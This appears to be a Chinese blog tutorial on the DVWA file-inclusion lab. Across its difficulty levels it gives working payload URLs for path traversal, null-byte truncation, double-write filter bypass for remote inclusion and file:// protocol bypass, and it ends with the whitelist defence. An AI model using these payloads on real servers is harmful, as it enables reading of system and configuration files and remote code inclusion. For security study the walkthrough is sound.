文件包含:当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。

分类:

(1)本地文件包含

(2)远程文件包含:因为开启了PHP配置中的allow_url_fopen选项,服务器允许包含一个远程文件。

一、low

看下服务器端核心代码:page为做任何过滤。

图中 file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

点击file1.php。

1、本地文件包含

构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/shaow ,其中/etc/shaow为linux的系统路径。

报错。故服务器系统不是Linux。且文件的绝对路径为D:\PhPstudy\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\index.php

构造url(绝对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini,成功读取了服务器的php.ini文件。

或者构造url(相对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini

“..\”代表上一层目录,“.\”代表下一层目录。

若page参数要求为php后缀或者其他,在php版本小于5.3.4,时,可以用%00截断。如: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini%00csg.php 。

1、远程文件包含

当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。在远程服务器上上传一个phpinfo.txt文件。由于本人租不起服务器,故将其放在自己电脑上。

构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop/phpinfo.txt

为了增加隐蔽性,可以百度一个在线编码工具,对url进行编码:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C%3A%5CUsers%5CASUS%5CDesktop%2Fphpinfo.txt

同样可成功执行。

二、medium

看下服务器端核心代码:str_replace()函数对“http://”、“https://”、“../”、“..\”都进行了过滤删除。

但str_replace()可以用双写绕过。且规则里绕过“../”、“..\”,则用绝对路径的方式包含文件不受此规则限制。(本文由于phpinfo.txt文件在本地,无http://或https://,故为http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop\phpinfo.txt)

若将phpinfo.txt上传到服务器(比如192.168.125.12),则构造下面的链接即可:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hhttp://ttp://192.168.125.12/phpinfo.txt

三、high

看下核心源码:这里使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。

file协议:本地文件传输协议)主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。

故利用file协议,构造url:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini

读取服务器配置文件成功。

四、impossible

看下核心源码:这里使用白名单。page参数必须为:include.php 、 file1.php 、 file2.php 、 file3.php 。杜绝了文件包含漏洞。

DVWA-文件包含漏洞相关推荐

  1. DVWA文件包含漏洞

    文章目录 low medium high impossible 文件上传+包含漏洞getshell 云演-phar实验 low 1.本地文件包含: 看看后端代码 <?php// The page ...

  2. Web漏洞之文件包含漏洞

    公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习 一.文件包含漏洞概述 1.漏洞介绍 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件 ...

  3. 文件包含漏洞——DVWA练习

    前言:在学习文件上传时,制作的图片马需要我们手动去解析,而解析的方法就算用到了文件包含漏洞,所以这次就来学习一下文件包含漏洞. 文件包含漏洞简介 (一)文件包含可以分为本地文件包含和远程文件包含两种. ...

  4. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

  5. DVWA之PHP文件包含漏洞(File Inclusion)

    PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码.更多 ...

  6. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  7. php伪协议漏洞_php伪协议利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本 设置allow_url_fopen和 ...

  8. 文件包含漏洞及简单绕过

    文件包含漏洞 文章目录 文件包含漏洞 DVWA靶场对文件包含漏洞的解释 About Objective 漏洞发生原因 防御与绕过 DVWA File inclusion medium 绝对目录绕过 双 ...

  9. pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)

    目录 一.来自官方的简介 二.来自小可爱的通关步骤 第一关  File Inclusion(local) 1.读取"隐藏"文件 2.读取系统文件 3.结合文件上传getshell ...

  10. 文件包含漏洞(原理及介绍)

    文件包含漏洞(原理及介绍) File inclusion,文件包含(漏洞).程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件.但正是因为调用的灵活性导致用户可能调用一 ...

最新文章

  1. 小肚皮最新版本_小肚皮官方版下载_小肚皮app - Win7旗舰版
  2. 广州城市地图为android,广州无障碍地图
  3. satd残差_RDO、SAD、SATD、λ相关概念【转】
  4. 初学Python——字符串相关操作
  5. mysql正删改查返回值_MySQL增删改查
  6. 计算机二级考试办公室高级应用考点,全国计算机二级考试MSOFFICE高级应用考点解析Word1...
  7. 理解Virtual方法。
  8. spring读取jdbc(file方式)
  9. python:删除DataFrame中某列值为NaN的记录/行
  10. 浏览器趋势2016年9月:浏览器大战结束了吗?
  11. mate10 android系统,华为Mate10官方固件rom刷机包_华为Mate10完整系统升级包
  12. 今日小程序推荐:文艺青年必备「轻芒杂志」
  13. 竞赛大佬在华为:网络专家出身斯坦福物理系,还有人“工作跟读博差不多”...
  14. php能做定时关机吗,windows怎么定时关机?
  15. 暴走英雄坛服务器维护到什么时候,各位侠士久等了,暴走英雄坛1.8.1新版本更新前瞻一览。我们...
  16. 2021 年互联网大厂职级对应薪资一览表
  17. 多线程系列---多线程实现的方式(四)
  18. 短网址系统设计与实战
  19. 拼接URL在线生成二维码
  20. react 项目根据git commit记录自动生成CHANGELOG.md文档

热门文章

  1. mysql-Navicat-新增或修改表字段SQL语句整理
  2. SeamCarver 普林斯顿 算法第四版
  3. 【测评】胎牛血清国内品牌哪个比较好?FBS性能测试
  4. [BUUCTF]---web之[极客大挑战 2019]Secret File
  5. 在GitHub中的error: failed to push some refs to 仓库地址原因
  6. 量子理论中精典电子干涉实验本质推敲
  7. 面霸可以练成,程序员如何成功面试?
  8. 家园卫士服务器维护2021,家园卫士礼包码2021大全 官方最新礼包兑换码总汇[多图]...
  9. 百度点石大数据开放平台,赋能营销场景,打造行业生态
  10. jbd2导致磁盘io使用率高问题分析